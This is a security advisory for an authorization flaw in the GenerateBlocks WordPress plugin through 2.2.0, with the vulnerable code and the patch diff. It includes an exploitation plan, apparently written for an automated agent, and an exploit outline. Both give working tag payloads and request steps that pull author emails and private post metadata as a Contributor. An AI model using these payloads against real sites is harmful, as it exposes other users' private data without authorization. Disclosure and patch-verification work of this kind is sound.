GenerateBlocks <= 2.2.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Exposure via Dynamic Tag Replacements
Description
The GenerateBlocks plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.0. This is due to missing object-level authorization checks in the /wp-json/generateblocks/v1/dynamic-tag-replacements REST endpoint. The endpoint only verifies that the user has the edit_posts capability but does not verify the user has permission to access the specific post or its associated data referenced by attacker-controlled id parameters in dynamic tag content. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive information from arbitrary posts including author email addresses and non-protected post meta values by crafting dynamic tag payloads such as {{post_meta id:<target>|key:<meta_key>}} and {{post_title id:<target>|link:author_email}}.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.2.1
Source Code
WordPress.org SVN# Exploitation Research Plan: GenerateBlocks Dynamic Tag IDOR (CVE-2026-3454) ## 1. Vulnerability Summary The **GenerateBlocks** plugin (up to version 2.2.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability within its REST API endpoint used for dynamic tag replacement. The endp…
Show full research plan
Exploitation Research Plan: GenerateBlocks Dynamic Tag IDOR (CVE-2026-3454)
1. Vulnerability Summary
The GenerateBlocks plugin (up to version 2.2.0) contains an Insecure Direct Object Reference (IDOR) vulnerability within its REST API endpoint used for dynamic tag replacement. The endpoint /wp-json/generateblocks/v1/dynamic-tag-replacements allows authenticated users with at least edit_posts capability (Contributor level and above) to submit content containing dynamic tags (e.g., {{post_meta ...}}).
The vulnerability exists because the plugin fails to perform object-level authorization checks. While it verifies the user has the general edit_posts capability, it does not verify if the user has permission to access the specific post IDs referenced within the tags. This allows a Contributor to extract information from posts they shouldn't be able to see (e.g., Private posts, Drafts of other users) or sensitive metadata and author emails.
2. Attack Vector Analysis
- Endpoint:
/wp-json/generateblocks/v1/dynamic-tag-replacements - Method:
POST - Authentication: Authenticated (Contributor+)
- Capability Required:
edit_posts - Vulnerable Parameter: The request body (likely a JSON object containing a
contentortagsstring). - Payload Format:
{{post_meta id:<target_id>|key:<meta_key>}}{{post_title id:<target_id>|link:author_email}}
3. Code Flow
- REST Registration:
GenerateBlocks_Dynamic_Tags::register_rest_routes(inincludes/dynamic-tags/class-dynamic-tags.php) registers the/dynamic-tag-replacementsendpoint. - Permission Check: The
permission_callbackonly checkscurrent_user_can( 'edit_posts' ). - Tag Parsing: The callback likely invokes
GenerateBlocks_Dynamic_Tags::replace_tagsor a similar processing method. - Callback Execution: For a
post_metatag, it callsGenerateBlocks_Dynamic_Tag_Callbacks::get_post_meta. - ID Retrieval:
GenerateBlocks_Dynamic_Tag_Callbacks::get_the_title(and others) callsGenerateBlocks_Dynamic_Tags::get_id( $options, 'post', $instance ). - Data Retrieval (The Sink):
get_post_metacallsGenerateBlocks_Meta_Handler::get_post_meta( $id, $key, true ).with_link( $output, $options, $instance )(inclass-dynamic-tag-callbacks.php) contains:case 'author_email': $user_id = get_post_field( 'post_author', $id ); // $id is attacker controlled $url = 'mailto:' . get_the_author_meta( 'user_email', $user_id ); break;
- Bypass: No check like
current_user_can( 'read_post', $id )is performed before fetching the meta or author data.
4. Nonce Acquisition Strategy
The REST API requires a standard WordPress REST nonce (wp_rest).
- Role: Authenticate as a Contributor.
- Method: Use
browser_navigateto go to the WordPress Dashboard (/wp-admin/). - Extraction: Use
browser_evalto extract thewpApiSettingsnonce, which is standard in WordPress admin pages.- Script:
window.wpApiSettings.nonce
- Script:
5. Exploitation Strategy
The goal is to extract the Admin's email address and a private post's metadata.
Step 1: Discover Target Post ID
Use WP-CLI to find a post ID belonging to the Admin that the Contributor should not see (e.g., a Private post).
Step 2: Extract Author Email
Request:
- URL:
http://localhost:8080/wp-json/generateblocks/v1/dynamic-tag-replacements - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [extracted_nonce]
- Body:
{
"content": "{{post_title id:[TARGET_POST_ID]|link:author_email}}"
}
Note: If the parameter name is not content, try tags or html.
Step 3: Extract Sensitive Metadata
Request:
- URL: Same as above
- Body:
{
"content": "{{post_meta id:[TARGET_POST_ID]|key:_wp_page_template}}"
}
(Or any sensitive meta key found during setup).
6. Test Data Setup
- Victim (Admin):
- Create a Private post:
wp post create --post_type=post --post_title="Sensitive Admin Post" --post_status=private --post_author=1 - Let's assume this returns ID: 10.
- Add a custom meta field:
wp post meta add 10 sensitive_api_key "super-secret-123"
- Create a Private post:
- Attacker (Contributor):
- Create a contributor user:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Create a contributor user:
7. Expected Results
- The response for the
author_emailpayload should contain the Admin's email wrapped in a mailto link:<a href="mailto:admin@example.com">Sensitive Admin Post</a>. - The response for the
post_metapayload should contain the raw string:super-secret-123. - Both successes occur despite the Contributor not having permissions to read post ID 10.
8. Verification Steps
- Verify Response: Confirm the JSON response from the REST API contains the expected sensitive strings.
- Check Access Control: Use
wp user cap list attackerto verify the user only hasedit_postsand cannot normally read the private post of another user via the standard WP REST API (/wp/v2/posts/10).
9. Alternative Approaches
- Author Meta: Try
{{author_meta id:[POST_ID]|key:user_login}}or{{author_meta id:[POST_ID]|key:description}}. - Term Meta: If GenerateBlocks Pro is active (implied by description), try
{{term_meta id:[TERM_ID]|key:[KEY]}}. - Endpoint Discovery: If
/dynamic-tag-replacementsreturns 404, check the output ofGET /wp-json/generateblocks/v1/to find the exact registered route name (it may be plural or hyphenated differently). Based onclass-meta-handler.php, other potential endpoints include/meta/get-post-meta?id=10&key=sensitive_api_key.
Summary
The GenerateBlocks plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the `/wp-json/generateblocks/v1/dynamic-tag-replacements` REST endpoint. Authenticated users with Contributor-level permissions can craft dynamic tag payloads to extract sensitive post metadata or author email addresses from arbitrary posts, including private posts or drafts belonging to other users, due to a lack of object-level authorization checks.
Vulnerable Code
// includes/dynamic-tags/class-dynamic-tags.php:500 public function replace_tag_replacements( $request ) { $content = $request->get_param( 'content' ); $context = $request->get_param( 'context' ); $client_id = $request->get_param( 'clientId' ); $post_id = $context['postId'] ?? 0; $fallback_id = $post_id; --- // includes/dynamic-tags/class-dynamic-tag-callbacks.php:64 case 'author_email': $user_id = get_post_field( 'post_author', $id ); $url = 'mailto:' . get_the_author_meta( 'user_email', $user_id ); break; --- // includes/class-meta-handler.php:268 if ( 'get_post_meta' === $callable ) { if ( is_protected_meta( $key, 'post' ) ) { return ''; } return (string) self::get_value( $key, get_post_meta( $id, $parent_name, true ), $single_only, $fallback ); }
Security Fix
@@ -266,6 +266,10 @@ } if ( 'get_post_meta' === $callable ) { + if ( is_numeric( $id ) && ! current_user_can( 'read_post', (int) $id ) ) { + return ''; + } + if ( is_protected_meta( $key, 'post' ) ) { return ''; } @@ -472,6 +476,17 @@ ) ); } + + // Require list_users capability to access other users' meta. + if ( $id !== $current_id && ! current_user_can( 'list_users' ) ) { + return rest_ensure_response( + new WP_Error( + 'rest_forbidden', + __( 'Sorry, you are not allowed to access this user\'s meta.', 'generateblocks' ), + array( 'status' => rest_authorization_required_code() ) + ) + ); + } $key = $request->get_param( 'key' ); $single_only = true; @@ -62,6 +62,10 @@ break; case 'author_email': + if ( defined( 'REST_REQUEST' ) && REST_REQUEST && ! current_user_can( 'list_users' ) ) { + break; + } + $user_id = get_post_field( 'post_author', $id ); $url = 'mailto:' . get_the_author_meta( 'user_email', $user_id ); break; @@ -502,7 +502,13 @@ $content = $request->get_param( 'content' ); $context = $request->get_param( 'context' ); $client_id = $request->get_param( 'clientId' ); - $post_id = $context['postId'] ?? 0; + $post_id = absint( $context['postId'] ?? 0 ); + + // Verify the current user can read the context post. + if ( $post_id && ! current_user_can( 'read_post', $post_id ) ) { + return rest_ensure_response( [] ); + } + $fallback_id = $post_id; $instance = new stdClass(); $replacements = []; @@ -556,6 +563,25 @@ $fallback_id = get_current_user_id(); } + // Check object-level access for tags where id: refers to a post ID. + if ( in_array( $type, [ 'post', 'author', 'media' ], true ) ) { + $tag_options_string = isset( $split_tag[1] ) ? ltrim( $split_tag[1], ' ' ) : ''; + $tag_options = GenerateBlocks_Register_Dynamic_Tag::parse_options( $tag_options_string, $tag_name ); + $tag_post_id = isset( $tag_options['id'] ) ? absint( $tag_options['id'] ) : 0; + + if ( $tag_post_id && ! current_user_can( 'read_post', $tag_post_id ) ) { + $replacements[] = [ + 'original' => "{{{$tag}}}", + 'replacement' => '', + 'fallback' => $fallback, + ]; + + continue; + } + } +
Exploit Outline
The exploit targets the REST API endpoint `/wp-json/generateblocks/v1/dynamic-tag-replacements`. 1. Authenticate as a user with at least Contributor-level permissions (the `edit_posts` capability). 2. Obtain a valid WordPress REST API nonce from the dashboard (e.g., via `window.wpApiSettings.nonce`). 3. Construct a POST request to the vulnerable endpoint with a JSON body containing a `content` field. 4. Embed a dynamic tag in the `content` field that references a target post ID and a desired attribute. For example, to retrieve an administrator's email associated with a private post (ID 123), use: `{{post_title id:123|link:author_email}}`. To retrieve a specific custom field value, use: `{{post_meta id:123|key:sensitive_meta_key}}`. 5. The server will process the tags and return the replaced values in the response, bypassing WordPress's standard post visibility and metadata access controls.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.